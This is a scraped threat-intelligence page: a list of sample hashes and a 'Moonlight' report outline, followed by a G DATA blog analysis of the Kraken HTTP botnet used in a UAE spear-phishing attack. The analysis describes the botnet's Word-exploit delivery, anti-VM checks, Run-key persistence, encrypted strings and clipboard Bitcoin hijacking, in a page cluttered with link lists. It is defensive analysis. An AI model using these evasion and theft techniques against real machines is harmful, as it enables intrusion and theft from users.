63D933310CFB26EC9913A26BEF230A99 B77A14A594A59C3B86EDD940FB35AB5E 0B2023BC4ADFBB8157DA9147B9FAFACB 64ACAFF36681B16C5717741E17DCB329 B82DE5F1C26143083D988B06F6C927C3 0B40D67579AF550C0A3AEE359C2C71BA 64AF25B42E21F01A213C32CC66CFD749 B841E134EC7FE48095754742C8A2B8D7 0BD3B5C667878830DA088527D1B753EC 655F56F880655198962CA8DD746431E8 B929FC62DB2B3C8CC6A03063767BE125 0C15603B17FA333189AB5ED06E0993F7 696232159428BCB2BDA5AC2C755E8FED BB15E754AE3B85A12447B448F6F7E43E 0CA048153AC96E5C41243B364092AF07 69A042C9ED90A30444606407F77E199F BBF576CF704B71C739E8777EB6C9FF82 0D67422BA42D4A548E807B0298E372C7 6C4B69C19F2C3AC23AC392B8631E31BB BD2234DAE56580AAA7F880A7DB0F397D 0E9B363DE7DD2B10AFD5D1947FA0E006 6C4D355411B8D7DA56A2C7C14693A3AE BE23B3AFD1FD32C900F012CB2A8BA755 0F83377C44ADBA238FD0F0EB241981A6 6D418227FEB7A60727326583B52187E6 C28376FC9EE627B51E3F52503397E2DC 114B805F977E17558DD89E8029E29DF0 6E2E488CDDF1D15D0411F3838ED04683 C291CFAC28F323F9808D633A8558A35A 118A606FB131C082B55A5625661B666A 6EE7264D4A974D0FFFED7F39652D1DAD C64052167D6A183A3ECC259EE0F3A0C6 129F4B0A1F209784BF7071C14119BF9F 71B00CBD186B1C168FD207B8F43FC8E0 C8D912CF5BF526E551972EBB5454DD3F 1325AB5DCA14B58A8A7B9A8F5A1EE4DC 72076B1B2D9CB0507E5C94C2B422CCE7 C92E26AC3145718E531330B87772D216 13AF6A3C3A3908FD4E606A1F19B05714 72BEA803A834F7736679781A1D729B1F CB539DFAEECC4BAF875A1E431701FF9D 148A3E3CC76CF6753B15070FE3514DAE 7681AE3933F3E13EB8E2A9BE281A5763 8/10 CC9FAEC3F39EDAF7A59E9D9A7577451C 14C1E03DE25811C3D6D467837A16BB29 76A68FE73FFF571F257A1B0F100ACA1D CCFA1B31C47C9F124FEFE206301B3A5F 15F7682A178F789EDB40CEAABA9E5103 77D02BE92D052F35604CAA9885DD9A77 CD10D61A0D2D43A6AB16A9F50B1AD894 1673583BC5B7A485119D4A1342D6ADA8 7840F2473B3A0E0960A1925F3CD0C3B1 CF51142459F7B40E751E91179C001299 17D70C318C6D16EA599E39550C44FA7F 7A4588DC14AE38505662B75DA93CA8A7 CFE26B57E168B6C6A18C668E36A3E939 1856F46DA93C3B152C358E0F6DB53402 7AEFB825277764CD9F31BC1F2370D18D D179427D46D38D78A7A60512A4595496 1966F3B1D4ADEC25AB866C4E061A1E50 7C14974DD39B071558C619D16C4216DB D24B6317064DA37D31CE4459AC7F4B69 1C4AB6CF907175D114C48C30A38BF379 7D1F1FED52745D36D737EFA7D43F4B95 D297E0DB6D63A952B08B6F0E3FE101E7 1D693473FF431C7CEA3E7AB0130EAA3D 7D27548E3F56FA532C571FB409ECD7B6 D3C8ECF591381B31D3AA796471B5B0F1 1F644DE33D57C12A393B12F92A7C44C5 7DD199B0C678EF409A7DC461DE850849 D5DFF6DB76B75D346D3B33BBA5B7CBFA 215556AF1A5FEF7E08A6124D94487D2F 7ED4897B11798F4639C73D57F901A661 D5EEE8DC2507D46E1DC11F7B7441F506 21CE82DB335964B8624F8EB0668B539F 833B3AF9BD8FFD0390BCA1D43EE78CC3 D817FD5A442C7668607AE895D4298040 22CC7CE1E17852B6D09D5641B6ABCA0D 83AD97BF1D5A9044AAFBA6AAC4B7387E D9EACFF28841C51ACE9712AF78BCBDD0 24D2CE38D2886A00E678E8C23AD8D1CA 841C3AFAA8CAF0AC33BF783D5FEAEADB DD2D6B625E7ADD1528311A0CF5FD5EAE 276E54A5E32BEF12367C5B31BF9C179E 8492C3111C7C0998F0DC1B63967E5C65 DDD73E73BE2CC934D5721D4FC62CD98C 27A1891DB06D316B43A48DDEFEBF73BF 853A53CF799E2E3E1FC244A0751A4E96 DDEEE52C00A95167353215D14B3AAA68 2851685F217EB1CE573FC2BAE7918801 8799B3D6B2CE50D4DD5F5114635A4B96 DE2E753D12CE07F7B3F97C498D3477F8 28FBFD2AD1B500B62377DDE5795CDF85 87E5555CFF74D41551D6D29B9C01C0CB DF38B1562E4F0B735B3E10BAE78DF2A9 2930596D4E1328B79C349455E71EE1B0 8943A561F0839D43B8BD476357992540 E1B56D70FA5397509F901ED72724A5E9 29771C26BFDD125E7427CD57A98730FF 897061CD7F0BBAE1B024ED9C1C1998A1 E3E2CD771C8183464737233D17CD6A09 2993B77D82622D665F9B2F06C89741BE 8A2E5662ED22D0D555E6B90FE5E1C902 E42CD849370F2BE67F40B97B5D741B37 2A0F5D8C5BC021A1CEFED7442B02DF52 8AD4C22449B98339548D38BF87BF50AA E613FBAAF0E64B1CA740F9859D5CAF0B 2AB91CEDD813E306248E545075C60866 8BE6FBAD0618D6A398966AF3D20F5418 E61732ADD06F5EB98FE6AD42CE9682F6 2C8C94E85EF8C757586590E8D1ABDC6C 8F8E5A9553A27A9341ED6022028B231D E8909F06EF95B222121B72E12DB2111D 2CBD8E0EB9DF67E7D304F28803D4529E 8FDD4BA7920B3D6AB2F0106FDF4ED702 E8C4A336C901A8799525EA30486838B3 2DC30F736F1A485DBBEED63EC9259726 8FF5EF99FAF5E17B7D5B46585BAC7B43 EA788C263E04B93D36E0D82BB7D1BC05 2E49F5BD50A4E82DB05B4E42F18536F3 90C49D0CEF0DFCFF3C09723A9918688D EB7B7C974A66E7F9A0EAD3113F949EC8 2F352CD6486C518DDC61B7EBBEAB5F01 927DBA3C9B98FD749017E3DEE270136B ECB97F19AB0568CD0536567A7DEF44FF 348D6C08F155F0781574C34E573B6F1F 940A1B2C537FA2F764283795E9B665BA EF53161673CA4CAA7E9C4B33A0D02A90 36E3307F26E5B8BDBA30D7EA7CA62CD8 968EF6CB0DFB082DF7A68C3B8869C57B EFCA552B3CA4B8FF8686FD313FF2D48E 37CB0DF3AF8D3CA2086EEDAF3479D21C 974037C602A559C471BBDA3D07F50650 EFE54DF820FA8434CF14A5A8F55F52B7 39581B22FB078851D6DAA492C4F5BE97 97AA47094205DF17C15ED216227C4DA8 F007B759A30EDF46FD921E2D87A39D5D 3CE01AD1B116943F5FB1B2925C5DCAF1 99215ADB3D924F52D69BEAB6981791EB F17CD2526A0E46D806863E1320A2CF5B 3D2E266B9FDAD45AEF7D83164BEB7A37 992D434A726B9C50851B809FB95C169B F33B62D496F58E752BB190296781CFF9 3EAA4C1C6716133612CBA0EA4A6905B5 9A9D01BCB93EF99E1B8EBF727D72E91F F48AAB23D1DEF618449D705146153966 40E9ED913857D5196368A64D9972FCB8 9EF41A195932EDE4E9E6800E7D272A2E F59453D2FF8F29617DB23201C568017C 4484EB027D30C4705717CDE931245827 A12EB4CD0CAD629FCE59AE5120B82133 9/10 F7CF132313438115B0BBED035078FB1C 476764A1E6E121CF59C7F101F0E14968 A1E60D076CC9488EB7D86BD70FF70154 F8AD6A207BEE8C042220CC52AF2DAC29 4791667A4935718C4A55FA23EB18A520 A2E82ED55692BF64B819117C48F13F62 F8FF494B1C0403C3C99C6D67BEF7069A 48A8E95E79787EB27465AAD52855788A A3296E4D931583415C2B1B7A68C96508 F93A95668040E143F19F94210CA18D88 4C325C62D2CD9A69AA2CCF920A61B4C1 A3DFD16AC5E2E0343E61E19C13FCFF2B FA428FEF017B496DCAE6428889114FCC 4E3925ABF0CB66CE4476DFFC41131396 A62DE1A146EEC778344600F8EEE86DA9 FA8C119B3F0B1F9C2AA9F5D8908C9536 4EB6B5F6E3CB72869F29D567AC888C05 A7BF176D5BD80C2AD3815EC41E9BA6E6 FBB0BA6E2E570CA1B4F495F3040B6F6D 50B1E6E24A1DB4D68A2D51BD7115BAA3 A7F58A9D83CA22846282994A0393FB82 FE71389ACD3EE1B42A0895668C73DC21 517822AF63D640DFE8C6590B36AD8F80 A803F9914141F2CA72EB0C2162E2BA36 FE742125449AFABB37B21844171FBC99 51817D6FA9F1BA398176ABE63230568A A866F515362066AEA4BBEF0B6C1BDB13 FF295CF738DE580E2EE41D0100C848AE 53BADCB66F848805E781716F95CF10AB AA45A3DFD4E7329DF37D8C74F0DA01B4 FFE598B9C3DE334571881035D478ABE4 AA4774F70E080AB0A33C6B8F83C70589 Topics: Targeted Attacks, Malware Attacks, cyber security, Threat Labs 10/10 http://blog.vectranetworks.com/blog/topic/targeted-attacks http://blog.vectranetworks.com/blog/topic/malware-attacks http://blog.vectranetworks.com/blog/topic/cyber-security http://blog.vectranetworks.com/blog/topic/threat-labs Moonlight  Targeted attacks in the Middle East Moonlights targets OpenMe.docx.exe Impersonated new organizations Distribution H-Worm njRat A significant operation Attacker evolution Who are the attackers?
Countering attacks Appendix
2015-05-08, 8:46 AM Page 1 of 7https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html back 07.05.2015, Author:  Paul Rascagnres Dissecting the Kraken Analysis of the Kraken malware that was used for a targeted attack in UAE In January 2015, unidentified attackers attempted to infiltrate a multi-national enterprise based in the United Arab Emirates, using a spear phishing attack with a crafted MS Word document attached to the message.
Once it has reached its target, the payload used was designed to work as an information stealer and reconnaissance tool.
G DATAs security experts identified the malware behind this attack and reveal information about the actual power of the malwares tentacles.
In this article, the G DATA SecurityLabs will have a look at the following topics: an example of the spear phishing campaign, sent only a few days after the malware has been advertised the marketing approach to sell the malware the analysis of some of Krakens features theories about why Kraken has been used as malware in a targeted attack Infection Vector The attacker(s) sent a specially crafted email to at least one employee of the attacked enterprise.
The emails body reveals a business-related topic: an offer to become member of this years International Trade Council.
Nevertheless, the offer is directed at the Philippine National Bank, not the enterprise actually receiving the email.
This could be a trick to make the recipient even more curious to look at the attached document, because he/she received documents not issued for him/her.
The G DATA experts alerted the aeCERT about the incident and their analysis results.
Recent entries: 10.04.2015: Staying alert when buying banners: Googles advertising service misused for distributing malware 31.03.2015: IoT: The Internet of Things... ehm... Trouble?
16.03.2015: The Andromeda/Gamarue botnet is on the rise again 06.03.2015: Casper: the newest member of the cartoon malware family 22.02.2015: The power of trust: Superfish case turns into a worst case scenario Category Adware Bots  Botnets CyberCrime eCrime economy Legal issues Exploits Funny findings Web threats Scareware Phishing Security products Vulnerabilities Social engineering Mails Mobile Mobile Social Network Tags 1337 crew adware aldi amtso analysis android android market apple apt authentication autorun av products award badusb banking blog bot botnet bredolab browser brwoser bug carbon caro casino cebit cellphone chat cloud cms cobra coding conference credit card cve cyber espionage cyber espionage malware cyper espionage.
targattacks dll dns domain eicar email exploit exploits eyjafjallajoekull facebook fake fake alert fake av false positive fifa firefox fix flame flash fraud ftp gaming google google play hack heartbleed ie iframe im infection injection iot java khobe likejacking link links lizamoon lnk lottery mac mail mails RSS FeedG Data GermanyG Data International Search https://blog.gdatasoftware.com/blog.html http://www.aecert.ae/ https://blog.gdatasoftware.com/blog/article/staying-alert-when-buying-banners-googles-advertising-service-misused-for-distributing-malware.html https://blog.gdatasoftware.com/blog/article/iot-the-internet-of-things-ehm-trouble.html https://blog.gdatasoftware.com/blog/article/the-andromedagamarue-botnet-is-on-the-rise-again.html https://blog.gdatasoftware.com/blog/article/casper-the-newest-member-of-the-cartoon-malware-family.html https://blog.gdatasoftware.com/blog/article/the-power-of-trust-superfish-case-turns-into-a-worst-case-scenario.html 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https://blog.gdatasoftware.com/blog/search/bot.html https://blog.gdatasoftware.com/blog/search/botnet.html https://blog.gdatasoftware.com/blog/search/bredolab.html https://blog.gdatasoftware.com/blog/search/browser.html https://blog.gdatasoftware.com/blog/search/brwoser.html https://blog.gdatasoftware.com/blog/search/bug.html https://blog.gdatasoftware.com/blog/search/carbon.html https://blog.gdatasoftware.com/blog/search/caro.html https://blog.gdatasoftware.com/blog/search/casino.html https://blog.gdatasoftware.com/blog/search/cebit.html https://blog.gdatasoftware.com/blog/search/cellphone.html https://blog.gdatasoftware.com/blog/search/chat.html https://blog.gdatasoftware.com/blog/search/cloud.html https://blog.gdatasoftware.com/blog/search/cms.html https://blog.gdatasoftware.com/blog/search/cobra.html https://blog.gdatasoftware.com/blog/search/coding.html https://blog.gdatasoftware.com/blog/search/conference.html https://blog.gdatasoftware.com/blog/search/credit20card.html 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https://blog.gdatasoftware.com/blog/search/false20positive.html https://blog.gdatasoftware.com/blog/search/fifa.html https://blog.gdatasoftware.com/blog/search/firefox.html https://blog.gdatasoftware.com/blog/search/fix.html https://blog.gdatasoftware.com/blog/search/flame.html https://blog.gdatasoftware.com/blog/search/flash.html https://blog.gdatasoftware.com/blog/search/fraud.html https://blog.gdatasoftware.com/blog/search/ftp.html https://blog.gdatasoftware.com/blog/search/gaming.html https://blog.gdatasoftware.com/blog/search/google.html https://blog.gdatasoftware.com/blog/search/google20play.html https://blog.gdatasoftware.com/blog/search/hack.html https://blog.gdatasoftware.com/blog/search/heartbleed.html https://blog.gdatasoftware.com/blog/search/ie.html https://blog.gdatasoftware.com/blog/search/iframe.html https://blog.gdatasoftware.com/blog/search/im.html https://blog.gdatasoftware.com/blog/search/infection.html https://blog.gdatasoftware.com/blog/search/injection.html https://blog.gdatasoftware.com/blog/search/iot.html https://blog.gdatasoftware.com/blog/search/java.html https://blog.gdatasoftware.com/blog/search/khobe.html https://blog.gdatasoftware.com/blog/search/likejacking.html https://blog.gdatasoftware.com/blog/search/link.html https://blog.gdatasoftware.com/blog/search/links.html https://blog.gdatasoftware.com/blog/search/lizamoon.html https://blog.gdatasoftware.com/blog/search/lnk.html https://blog.gdatasoftware.com/blog/search/lottery.html https://blog.gdatasoftware.com/blog/search/mac.html https://blog.gdatasoftware.com/blog/search/mail.html https://blog.gdatasoftware.com/blog/search/mails.html https://blog.gdatasoftware.com/blog.html http://feeds.feedblitz.com/gdatasecurityblog-en http://www.gdata.de/ http://www.gdatasoftware.com/ 2015-05-08, 8:46 AM Page 2 of 7https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html In this case, the attachment is a Microsoft Word document which tries to exploit the vulnerability described in CVE-2012-0158 in order to drop and execute malware dubbed Kraken HTTP.
The G DATA security solutions detect the malicious document (08E834B6D4123F0AEA27D042FCEAF992) as Exploit.
CVE-2012-0158.AH and G DATAs proactive Exploit Protection technology also prevents the attack before the PC can be infected.
The Malware, advertised on the Underground Market Kraken HTTP is sold on at least one underground market as a commercial product.
Someone, who claims not to be the author of the malware, promoted the malware with a kind of banner which has quite a visual impact.
Have a look at the ad that was published back in December 2014.
The banner describes the botnet: its technical features the available commands (classic ones, such as visiting a website using the infected bot, download and execute a command or a library, update and uninstall) the plugins one can use: file stealer, ad-clicker, form grabber, The command visiting a website using the infected bot could be used by the attackers as an entry point for blackmailing the infected user.
The attackers could visit websites that are regarded as illegal in the respective country and could then ask for ransom and threaten to release information about the alleged violation to any seemingly official entity who would then investigate against the victim.
The flyer also reveals the price of the malware: The basic binary costs 320 and each plugin must be paid for separately, for example 50 for the file stealer, 60 for the ad-clicker and up to 350 for a configurable form grabber.
Accepted payment methods are the usual virtual currencies and pre-paid options.
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https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_email_anonym.pngmd57a2f2cf132ba6bfd220a33f96f8b4934222da884parameters5B05DYTo1OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NToidGl0bGUiO3M6NzI6IkVtYWlsIHNlbnQgparameters5B35DaW4gYW4gYXR0ZW1wdCB0byBwZXJmb3JtIGEgdGFyZ2V0ZWQgYXR0YWNrIC0gQ2xpparameters5B45DY2sgdG8gZW5sYXJnZSI7czo0OiJ3cmFwIjtzOjM3OiI8YSBocmVmPSJqYXZhc2Nyparameters5B55DaXB0OmNsb3NlKCk7Ij4gfCA8L2E2BIjt9 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 https://public.gdatasoftware.com/_download/kraken_advertisement.jpg https://blog.gdatasoftware.com/blog/search/malware.html https://blog.gdatasoftware.com/blog/search/malware20windows.html https://blog.gdatasoftware.com/blog/search/matousec.html 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https://blog.gdatasoftware.com/blog/search/sql.html https://blog.gdatasoftware.com/blog/search/stuxnet.html https://blog.gdatasoftware.com/blog/search/targattacks.html https://blog.gdatasoftware.com/blog/search/testing.html https://blog.gdatasoftware.com/blog/search/tool.html https://blog.gdatasoftware.com/blog/search/trojan.html https://blog.gdatasoftware.com/blog/search/uefa.html https://blog.gdatasoftware.com/blog/search/uefa20euro202012.html https://blog.gdatasoftware.com/blog/search/underground.html https://blog.gdatasoftware.com/blog/search/update.html https://blog.gdatasoftware.com/blog/search/url.html https://blog.gdatasoftware.com/blog/search/uroburos.html https://blog.gdatasoftware.com/blog/search/usb.html https://blog.gdatasoftware.com/blog/search/virus20bulletin.html https://blog.gdatasoftware.com/blog/search/vulnerabilities.html https://blog.gdatasoftware.com/blog/search/warning.html https://blog.gdatasoftware.com/blog/search/wifi.html https://blog.gdatasoftware.com/blog/search/windows.html https://blog.gdatasoftware.com/blog/search/windows208.html https://blog.gdatasoftware.com/blog/search/wordpress.html https://blog.gdatasoftware.com/blog/search/worm.html https://blog.gdatasoftware.com/blog/search/youtube.html https://blog.gdatasoftware.com/blog/search/zero20day.html https://blog.gdatasoftware.com/blog/search/zeus.html https://blog.gdatasoftware.com/blog/search/zynga.html https://blog.gdatasoftware.com/blog/search/404.html https://blog.gdatasoftware.com/blog/search/419.html 2015-05-08, 8:46 AM Page 3 of 7https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html A price list found on a different website, also posted in December 2014, lists the binarys price as 270 and some additional modules, such as a Edit Hosts module (15), a Botkill module (30) and a Bitcoin monitor module(20).
Furthermore, Kraken HTTP is advertised as a new, revolutionary botnet [] and very noob-friendly.
Noob is a word describing that someone is new to a game, concept, or idea implying a lack of experience.
But now lets have a look at what the botnet really is.
Marketing vs.
Reality After having a glimpse at the ad designed to promote the malware, we analyzed a sample of it: 3917107778F928A6F65DB34553D5082A, which is detected as Gen:Variant.
Zusy.118945.
We decided to analyze some features mentioned in the flyer and on the other website to evaluate their power and implementation.
Feature: Bypass UAC As expected, the malware does not really bypass the UAC.
It rather uses a classic trick already used by several malware instances.
It uses a legitimate Microsoft binary in order to execute itself with administrator permissions.
We already presented this technique in our G DATA SecurityBlog article about the Beta Bot.
Feature: Anti-VM The flyer explains that the botnet wont work in a virtual machine.
To detect whether the malware is running in a virtual machine, the malware author checks if the following directories and the one file exist: C:\Program Files\VMWare\VMware Tools\ C:\Program Files (x86)\VMware\WMware Tools\ C:\WINDOWS\system32\VBoxtray.exe Furthermore, the malware checks if following applications analysts usually use are being executed: Wireshark: a network analyzer Fiddler: a web proxy used to debug HTTP flow.
We can see the tools detection: http://en.wiktionary.org/wiki/noob https://blog.gdatasoftware.com/blog/article/a-new-bot-on-the-market-beta-bot.html 2015-05-08, 8:46 AM Page 4 of 7https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html If one of the elements mentioned above is detected, the malware will display a rather poetic dialog popup: So, the anti-VM is really rudimentary.
If the additional tools are not installed on the virtual machine the malware can be perfectly executed.
Feature: Folder, Bot file  All file dropped are hidden The folders  bot files simply have the hidden attribute set in Microsoft Windows.
If you configure you system to show hidden files and directories, you can perfectly see them: 2015-05-08, 8:46 AM Page 5 of 7https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html So, the botnet does not use advanced techniques to hide itself.
Feature: Process  registry persistence The malware persistence uses a registry key in order to be executed automatically in case the system is rebooted.
The key is HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows: The malware repeatedly checks whether this entry is removed.
In case the entry is removed, the malware will create a new one.
However, instead of removing it, we can simple rename the path to the executable in order to switch off the persistence mechanism.
So, the malware does not have any clever persistence features either.
Feature: Path  variable encrypted We identified two kinds of encrypted data: Some paths are encoded using base64 algorithm, such as: JVdJTkRJUiUA (WINDIR) and JWFwcGRhdGElaa (appdata) Some data is encrypted (RC4), such as the CC  information: Feature: Bitcoin monitor plugin The Bitcoin monitor plugin is even more amusing.
It is not advertised on the flyer but on the other website we found.
The malware monitors the infected users clipboard.
If the user copies a Bitcoin address to the clipboard, it will be replaced by an address pre-configured by the botmaster.
A Bitcoin address is an identifier of 26-35 alphanumeric characters which represent the owner of a Bitcoin wallet, for example something like https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_feature_hide.jpgmd54ea70dee4b471797ef82e659ff2eedeab66ce232parameters5B05DYTo1OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NToidGl0bGUiO3M6MTA2OiJUaGUgbWFsd2Fyparameters5B35DZSDigJxoaWRlc2BKAnSBpdHNlbGYgYW5kIHVzZXMgYSBsZWdpdGltYXRlIFdpbmRvparameters5B45Dd3MgZmlsZSBuYW1lIHRvIGZvb2wgdGhlIHVzZXIgLSBDbGljayB0byBlbmxhcmdlparameters5B55DIjtzOjQ6IndyYXAiO3M6Mzc6IjxhIGhyZWY9ImphdmFzY3JpcHQ6Y2xvc2UoKTsiparameters5B65DPiB8IDwvYT4iO303D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_feature_persistence.jpgmd5517e6bc516d84411de422d948e059bf8f540fc3fparameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_feature_encryption.jpgmd536bdf59cecf65039f1b3d24b16c6436645fd39dcparameters5B05DYTo1OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NToidGl0bGUiO3M6Njk6IkEgc2NyZWVuc2hvparameters5B35DdCBvZiB0aGUgYXNzZW1ibHkgY29kZSBhZnRlciBkZWNyeXB0aW9uIC0gQ2xpY2sgparameters5B45DdG8gZW5sYXJnZSI7czo0OiJ3cmFwIjtzOjM3OiI8YSBocmVmPSJqYXZhc2NyaXB0parameters5B55DOmNsb3NlKCk7Ij4gfCA8L2E2BIjt9 2015-05-08, 8:46 AM Page 6 of 7https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy.
We can easily imagine that the plugins test is prone to produce false positives, because any alphanumeric text copied by the user will be automatically changed without reason if it has a length between 26 and 35 characters.
Ok, we admit that the German word Kraftfahrzeughaftpflichtversicherung (36) would not be harmed when copied, but what about Bundesausbildungsfoerderungsgesetz (34) or radioimmunoelectrophoresis (27)?
Just kidding.
But any string, from strong passwords to bank account numbers and more could be affected.
Feature: Download  Execute, the next Step This feature allows installing further malware on the affected PC in case the attackers decide the current machine is interesting enough.
Kraken HTTP is only the first stage in this attack and can be seen as reconnaissance tool.
Administration Panel The experts of the G DATA SecurityLabs had access to the panel used by Kraken HTTP but the source code is protected by a commercial packer called IonCube loader.
Nevertheless, we can reveal some screenshots of the administration panel which are available on the underground.
Note that some of the texts contain mistakes: https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_panel_demo_01.pngmd5545fdffdc5c8eff6b8c36ab978495207178eea14parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_panel_demo_02.pngmd50f44ecb481ce48dc4038c8bfe472532339567099parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_panel_demo_03.pngmd54cb4766536b170b81b02806aea649b358e051008parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_panel_demo_04.pngmd53dc13391846806e625dc527cc6ee1dc7ff3fe7baparameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_panel_demo_05.pngmd5eb28edd84536ec36341c79579c74920ccecb24e0parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_panel_demo_06.pngmd5294226e172517b11929cd257e5c9afae7f921172parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F05_20152Fgraphics_05_20152Fkraken_panel_active_01.pngmd5bab2db75496628185130080f544d7655f20ee9acparameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D 2015-05-08, 8:46 AM Page 7 